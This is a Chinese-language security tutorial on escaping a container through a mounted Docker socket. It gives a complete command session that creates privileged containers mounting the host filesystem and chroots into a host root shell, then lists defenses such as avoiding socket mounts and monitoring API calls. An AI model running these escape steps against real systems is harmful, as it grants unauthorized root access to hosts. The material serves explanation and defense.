Docker in Docker
当宿主机的 /var/run/docker.sock 被挂载容器内的时候,容器内就可以通过 docker.sock 在宿主机里创建任意配置的容器,
此时可以理解为可以创建任意权限的进程;当然也可以控制任意正在运行的容器。
常见于需要对当前节点进行容器管理的编排逻辑容器里
docker 示范
shell
[root@localhost ~]# docker run -it -v /var/run/docker.sock:/tmp/rootfs/docker.sock 192.168.101.99:80/base/centos:8 bash
[root@072dcd1db96a /]# ls /tmp/rootfs/docker.sock
/tmp/rootfs/docker.sock
# 在容器内访问Docker API
[root@072dcd1db96a yum.repos.d]# yum -y install docker-ce
[root@072dcd1db96a ~]# docker -H unix:///tmp/rootfs/docker.sock ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
072dcd1db96a 192.168.101.99:80/base/centos:8 "bash" 11 minutes ago Up 11 minutes dazzling_hoover
# 创建特权容器
[root@072dcd1db96a ~]# docker -H unix:///tmp/rootfs/docker.sock run -d --privileged -v /:/tmp/centos8 192.168.101.99:80/base/centos:8 sleep infinity
c3a026b0f9635aeac6875aa5609beca54a67eb766b760de43b201663d71da45e
# 进入新创建的容器
[root@072dcd1db96a ~]# docker -H unix:///tmp/rootfs/docker.sock exec -it c3a bash
[root@c3a026b0f963 /]# ls /tmp/centos8/var/run/docker.sock
/tmp/centos8/var/run/docker.sock
# 若已经获取了此类容器的 full tty shell, 你可以用类似下述的命令创建一个通往宿主机的 shell。
[root@072dcd1db96a ~]#
[root@072dcd1db96a ~]# docker -H unix:///tmp/rootfs/docker.sock run \
> -d -it --rm --name rshell -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" \
> --network=host --privileged=true --cap-add=ALL 192.168.101.99:80/base/alpine:latest
d1e094032cb227698f8cc59495f5290469ff18903bc92afde5c7101177dba3f4
[root@072dcd1db96a ~]#
[root@072dcd1db96a ~]# docker -H unix:///tmp/rootfs/docker.sock exec -it d1e sh
/go #
/go # chroot /rootfs/
basename: 缺少操作数
请尝试执行 "basename --help" 来获取更多信息。
[root@localhost /]#
[root@localhost /]# ss -antulp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:(("sshd",pid=961,fd=3))
tcp LISTEN 0 128 [::]:22 [::]:* users:(("sshd",pid=961,fd=4))
[root@localhost /]#
[root@localhost /]# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 4月28 ? 00:00:01 /usr/lib/systemd/systemd --
root 2 0 0 4月28 ? 00:00:00 [kthreadd]
root 3 2 0 4月28 ? 00:00:00 [rcu_gp]
root 4 2 0 4月28 ? 00:00:00 [rcu_par_gp]
root 6 2 0 4月28 ? 00:00:00 [kworker/0:0H-events_highpr
root 9 2 0 4月28 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 4月28 ? 00:00:00 [rcu_tasks_rude_]
root 11 2 0 4月28 ? 00:00:00 [rcu_tasks_trace]
root 12 2 0 4月28 ? 00:00:00 [ksoftirqd/0]
........
防御建议:
shell
1、避免将Docker socket挂载到容器中
2、如必须挂载,考虑使用Docker授权插件限制API访问
3、监控Docker API调用,检测异常行为
4、考虑使用podman、containerd等替代方案,它们提供更细粒度的权限控制